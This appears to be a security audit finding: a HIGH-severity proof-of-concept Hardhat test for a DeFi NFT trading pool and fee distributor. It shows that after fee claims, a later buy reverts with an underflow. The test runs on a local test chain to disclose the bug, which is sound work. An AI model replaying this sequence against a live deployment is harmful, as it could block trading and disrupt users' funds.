HIGH severity: PoC (based on the original test\integration\lockingAndFees.js). Note: Lines changed have the "- audit" comment

Vulnerable code:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { BigNumber } = require("ethers");
const load = require("../helpers/_loadTest.js");
const { time } = require("@nomicfoundation/hardhat-network-helpers");

describe("Voting_and_Fees", function () { // - audit
  load.loadTest(false);

  before(async function () {
    // Take a snapshot before the tests start
    snapshotId = await ethers.provider.send("evm_snapshot", []);
  });

  beforeEach(async function () {
    // Restore the blockchain state to the snapshot before each test
    await ethers.provider.send("evm_revert", [snapshotId]);

    // Take a snapshot before the tests start
    snapshotId = await ethers.provider.send("evm_snapshot", []);
  });

  it("User should get all the fees if he's the only lock", async function () {
    // Create a new trading pool through the market
    const createTx = await tradingPoolFactory.createTradingPool(
      testNFT.address,
      wethAddress
    );
    await createTx.wait();
    const tradingPoolAddress = await tradingPoolFactory.getTradingPool(
      testNFT.address,
      wethAddress
    );
    tradingPool = await ethers.getContractAt("TradingPool", tradingPoolAddress);

    const depositWETHTx = await weth.deposit({
      value: ethers.utils.parseEther("100"), // - audit
    });
    await depositWETHTx.wait();

    // Approve the trading pool to spend the weth
    const approveTx2 = await weth.approve(
      tradingPool.address,
      ethers.utils.parseEther("50") // - audit
    );
    await approveTx2.wait();
    // Mint two new NFTs
    const mintTx2 = await testNFT.mint(owner.address);
    await mintTx2.wait();
    const mintTx3 = await testNFT.mint(owner.address);
    await mintTx3.wait();

    // Mint more NFTs - audit
    const mintTx4 = await testNFT.mint(owner.address);
    await mintTx4.wait();
    const mintTx5 = await testNFT.mint(owner.address);
    await mintTx5.wait();
    const mintTx6 = await testNFT.mint(owner.address);
    await mintTx6.wait();

    // Approve the trading pool to spend the NFT
    const approveNFTTx = await testNFT.setApprovalForAll(
      tradingPool.address,
      true
    );
    await approveNFTTx.wait();
    // Add liquidity to the trading pool
    const depositTx = await tradingPool.addLiquidity(
      owner.address,
      0,
      [0, 1, 2, 3, 4], // Also add the third NFT - audit
      ethers.utils.parseEther("1"),
      ethers.utils.parseEther("0.5"),
      exponentialCurve.address,
      "5", // - audit
      "500"
    );
    await depositTx.wait();

    // Create a lock with the LE
    const approveTx = await nativeToken.approve(
      votingEscrow.address,
      ethers.utils.parseEther("10000")
    );
    await approveTx.wait();
    const lockTx = await votingEscrow.createLock(
      owner.address,
      ethers.utils.parseEther("10000"),
      Math.floor(Date.now() / 1000) + 3600 * 24 * 30 // 30 days
    );
    await lockTx.wait();

    // Do a buy operation so we can gather some fees
    const buyTx = await tradingPool.buy(
      owner.address,
      [0],
      ethers.utils.parseEther("1")
    );
    await buyTx.wait();

    // Advance 1 epochs
    const epochPeriod = await votingEscrow.getEpochPeriod();
    await time.increase(epochPeriod.toNumber());

    // Claim the rewards - should have nothing to claim since the lock can only claim fees after 1 epoch
    expect(await feeDistributor.callStatic.claim(weth.address, 0)).to.be.equal(
      0
    );

    // -------------------- audit --------------------------------------------------

    // Do a buy operation so we can gather some fees
    const buyTx2 = await tradingPool.buy(
      owner.address,
      [1, 2, 3], // - audit
      ethers.utils.parseEther("5")
    );
    await buyTx2.wait();

    const epoch = (await votingEscrow.getEpoch(await time.latest())).toNumber();

    // Advange 1 epochs
    await time.increase(epochPeriod.toNumber() + 2);

    // Should now be able to claim the fees gathered in the last epoch
    expect(await feeDistributor.callStatic.claim(weth.address, 0)).to.be.equal(
      await feeDistributor.getTotalFeesAt(weth.address, epoch)
    );

    console.log("Balance: ", await weth.balanceOf(feeDistributor.address));
    console.log("Claim: ", await feeDistributor.callStatic.claim(weth.address, 0));

    // get fees - audit 
    const feeTx = await feeDistributor.claim(wethAddress, 0);
    await feeTx.wait();

    console.log("Balance: ", await weth.balanceOf(feeDistributor.address));
    console.log("Claim: ", await feeDistributor.callStatic.claim(weth.address, 0));

    // Do a third buy operation  - audit (revets wih underflow)
    const buyTx3 = await tradingPool.buy(
      owner.address,
      [4],
      ethers.utils.parseEther("5")
    );
    const txReceipt = await buyTx3.wait(); 
  });
});